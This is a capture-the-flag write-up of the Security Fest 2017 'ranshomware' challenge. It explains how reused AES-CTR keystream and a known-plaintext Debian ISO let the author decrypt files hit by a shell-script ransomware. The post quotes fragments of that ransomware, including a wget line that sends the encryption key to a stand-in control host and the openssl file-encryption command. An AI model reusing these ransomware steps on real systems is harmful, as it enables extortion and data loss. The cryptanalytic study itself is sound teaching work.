Ranshomware - Crypto (100 + 0)
    ● We found an sh ransomware on a server. Can you help us recover the server's data? ● Solves: 12 ● Download: http://dl.ctf.rocks/ranshomware.zip ● Author: SecureLink / klondike

ranshomware.zip contains, as promised, ransomware in shell script form along with a directory that’s been hit:

./cd
./cd/debian-40r9-amd64-businesscard.iso
./cd/encrypted.txt
./encrypted.txt
./flags
./flags/encrypted.txt
./flags/flag.txt

All copies of encrypted.txt are identical:

All your files have been encrypted, pay us a lot of money 
to our accountand we'll give them back to you. Say 
ce259843fcdf919e9465722f9fa2053e89877c1fddb06582f197b4979df6e9bb28b4bf09d3d9dbadb77e8ab6db8e452ba47f9d81379c93107356640c39695b5 
so we can give you the right key

The Debian iso and flag.txt both contain uniform noise, evidently successfully encrypted.

The Script

Let’s step through the shell script:

key="$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 64 | head -1)"

First, key is defined by grabbing only the ascii chars that define hex bytes (0-9a-f) from /dev/urandom, splitting them into lines of 64 chars each, and grabbing the first line. This is a bit of a weird way to do it, but we’ll wind up with a 256-bit key in the form of a hex string. Bruteforcing the key is definitely out.

ekey="$(echo "$key" | openssl dgst -sha512 -hex | tail -c 128)"

Next, ekey is just the SHA512 hash of key, with the leading character truncated (probably a bug related to not taking newlines into account during tail -c 128). Reversing the hash is also definitely out.

iv=0
wget "http://cac.example.com/?key=$key" -q -O /dev/null

iv is set to 0, and an (example) HTTP request theoretically delivers key to the command and control network.

The actual function is defined next: it takes one argument. If this is a directory, it writes ekey and some instructions into encrypted.txt, then calls itself recursively on the contents of the dir. iv is incremented on each execution of the function.

If the argument is a file, the real payload happens: the file is encrypted, the original is deleted, and the encrypted copy is moved into its place. The encryption itself deserves a close look:

openssl enc -e -aes-256-ctr -iv "$(printf "%032x" "$iv")" \
-K "$key" -in "$f" -out "$f.enc";

AES-CTR

So we’re using OpenSSL for encryption, with AES-256 in the CTR mode of operation. The IV is $iv, formatted as a 16-byte (32 character) hex string left-padded with zeroes. I was initially excited, hoping it was as straightforward of an implementation flaw as nonce reuse in counter mode, but it took a little more figuring than that.

Let’s look at how CTR mode works, courtesy of Wikipedia’s article on block cipher modes of operation:

Crypto basics: in CTR/Counter mode, instead of directly encrypting the plaintext using AES, we’re using AES to create a stream cipher. For each block, we encrypt nonce || counter with the secret key to give us a block of keystream that we XOR with a block of the plaintext to get a block of the ciphertext. The nonce is ideally random, and the counter ideally incremented each block starting at all zeroes. Wikipedia’s diagram is not necessarily how AES-CTR is always implemented, but from this we’d expect 8 bytes of nonce and 8 bytes of counter (both AES-128 and AES-256 have a block width of 16 bytes).

Since we’re essentially working with a stream cipher in regards to the plaintext/ciphertext relationship, any reuse of keystream is effectively a many-time pad. Since one of the two files we’re given encrypted versions of (debian-40r9-amd64-businesscard.iso) seems like it should have a publicly-accessible plaintext version, it looks like we might be able to mount a known-plaintext attack. Indeed, googling the filename gives us the VDL of a Debian mirror where we can find an identically-named and -sized file.

Whipping up a quick python script to XOR the known plaintext with the ciphertext to get the keystream and apply this keystream to the encrypted flag only outputs garbage – of course, because of the IV incrementing built into the ransomware. Looking at the CTR mode diagram and keeping in mind the properties of AES (specifically the Avalanche effect), if the keystream source material (nonce || counter) is unique for every block encrypted, then we don’t have any easy attacks.

Next Steps

I spent some time mulling over the apparent lack of blatant weaknesses, and modified the ransomware script to provide some print debugging, and ran it on a ‘virgin’ version of the provided directory (minus all copies of encrypted.txt or any other ransomware crust):

[tkerr@pro sf]$ ./testiv.sh
current value of $iv: 1
current value of $iv: 2
current value of $iv: 3
found file orig/cd/debian-40r9-amd64-businesscard.iso - encrypting with iv 0x00000000000000000000000000000003
found dir orig/cd
current value of $iv: 4
current value of $iv: 5
found file orig/flags/flag.txt - encrypting with iv 0x00000000000000000000000000000005
found dir orig/flags
found dir orig

This is helpful – for the theoretical initial run of the ransomware, the IVs were 3 and 5 for the ISO and flag respectively. In thinking/talking this through, I realize something critical – despite the encyclopedia definition of CTR mode being nonce || counter for a total of 16 bytes, we’re feeding OpenSSL a full 16 bytes using the -iv argument.

I had initially assumed that “IV” was an alias for “nonce” in this implementation, probably with some left-stripping, but a bit of testing reveals that we’re not actually defining the nonce here, we’re defining the entire IV – OpenSSL is assuming we’re providing the entirety of nonce || counter and incrementing the right half of the input automatically for each block.

This is key – this means that for all files encrypted, the nonce will be 0x0000000000000000 and the counter will start from some low index based on the order of the files in question. This means the keystream will be identical for all files, other than the keystream being offset by a number of blocks equivalent to the difference in $iv at the time of each file’s encryption. Since we’re able to derive a big chunk of keystream thanks to the Debian ISO KPA, and “coincidentally” the Debian ISO was encrypted first, we should be able to decrypt any subsequent bytes up to the size of the Debian ISO (~33MiB).

Solution

Once the critical implementation error (feeding OpenSSL full IVs rather than just nonces) was realized, adapting the earlier attempt at a many-time pad attack was trivial. Here’s the Python I used, and here’s the result:

[tkerr@pro ranshomwared]$ ./crack-ranshomware.py
Hi man, I'm glad you solved this challenge!

So the flag? SURE!

SCTF{MISSHANDLED_IVS_ARE_AWFUL_FOR_HEALTH_0H_4lM057_11k3_1337!}


Well, there is the flag, I hope you enjoy the rest of the challenges :)

tl;dr: Supplying OpenSSL a full 16-byte IV via the -iv argument doesn’t just set the nonce, it sets the entire nonce || counter input, and OpenSSL will automatically increment from the initial value. Since one of the provided pre-encrypted files has an easily-obtainable known plaintext, we can XOR the plaintext and ciphertext to get the AES-CTR keystream. Looking at the ransomware script helps us find the offset of the keystream that the flag was encrypted with. XORing the encrypted flag at the correct offset of the keystream gives us what we want.

Thanks to my wife for filling in as an incredibly overqualified rubber duck!

One thought on “Security Fest 2017 CTF: ranshomware

  1. Thanks to you for participating, reading your write up filled me with happiness and reminded me of my CTF participant days 😀

Leave a Reply

Your email address will not be published. Required fields are marked *